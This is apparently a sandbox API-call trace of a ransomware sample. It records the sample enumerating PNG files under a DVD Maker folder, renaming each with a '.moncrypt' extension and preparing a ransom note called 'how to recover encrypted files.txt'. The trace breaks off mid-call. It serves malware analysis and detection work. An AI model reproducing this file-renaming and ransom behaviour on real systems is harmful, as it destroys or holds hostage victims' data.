[0057.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png", cchWideChar=61, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png", lpUsedDefaultChar=0x0) returned 61 [0057.640] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Full\\15x15dot.png", lpUsedDefaultChar=0x0) returned 4 [0057.640] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 0x54e280 [0057.640] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.640] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.640] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.640] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png", dwFileAttributes=0x20) returned 0 [0057.641] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.642] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png.moncrypt")) returned 0 [0057.642] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1 [0057.642] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.642] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.642] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.642] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.642] GlobalUnlock (hMem=0x440004) returned 0 [0057.642] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.642] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.642] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.642] GlobalUnlock (hMem=0x440004) returned 0 [0057.642] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.642] GlobalUnlock (hMem=0x44000c) returned 0 [0057.642] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.642] CharLowerBuffW (in: lpsz="dotsdarkoverlay.png", cchLength=0x13 | out: lpsz="dotsdarkoverlay.png") returned 0x13 [0057.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.643] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png", cchWideChar=68, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.pngn", lpUsedDefaultChar=0x0) returned 68 [0057.643] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.643] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Full\\dotsdarkoverlay.pngn", lpUsedDefaultChar=0x0) returned 4 [0057.643] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 0x54e280 [0057.643] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.643] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.644] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.644] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png", dwFileAttributes=0x20) returned 0 [0057.645] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.645] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png.moncrypt")) returned 0 [0057.645] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1 [0057.645] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.645] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.645] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.645] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.645] GlobalUnlock (hMem=0x44000c) returned 0 [0057.645] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.645] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.645] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.645] GlobalUnlock (hMem=0x44000c) returned 0 [0057.645] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.645] GlobalUnlock (hMem=0x440004) returned 0 [0057.645] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.646] CharLowerBuffW (in: lpsz="dotslightoverlay.png", cchLength=0x14 | out: lpsz="dotslightoverlay.png") returned 0x14 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.646] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png", cchWideChar=69, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png", lpUsedDefaultChar=0x0) returned 69 [0057.646] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Full\\dotslightoverlay.png", lpUsedDefaultChar=0x0) returned 4 [0057.647] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 0x54e280 [0057.647] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.647] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.647] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.647] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png", dwFileAttributes=0x20) returned 0 [0057.647] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.647] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png.moncrypt")) returned 0 [0057.648] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1 [0057.648] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.648] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.648] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.648] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.648] GlobalUnlock (hMem=0x440004) returned 0 [0057.648] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.648] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.648] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.648] GlobalUnlock (hMem=0x440004) returned 0 [0057.648] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.648] GlobalUnlock (hMem=0x44000c) returned 0 [0057.648] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.648] CharLowerBuffW (in: lpsz="full.png", cchLength=0x8 | out: lpsz="full.png") returned 0x8 [0057.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.649] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, 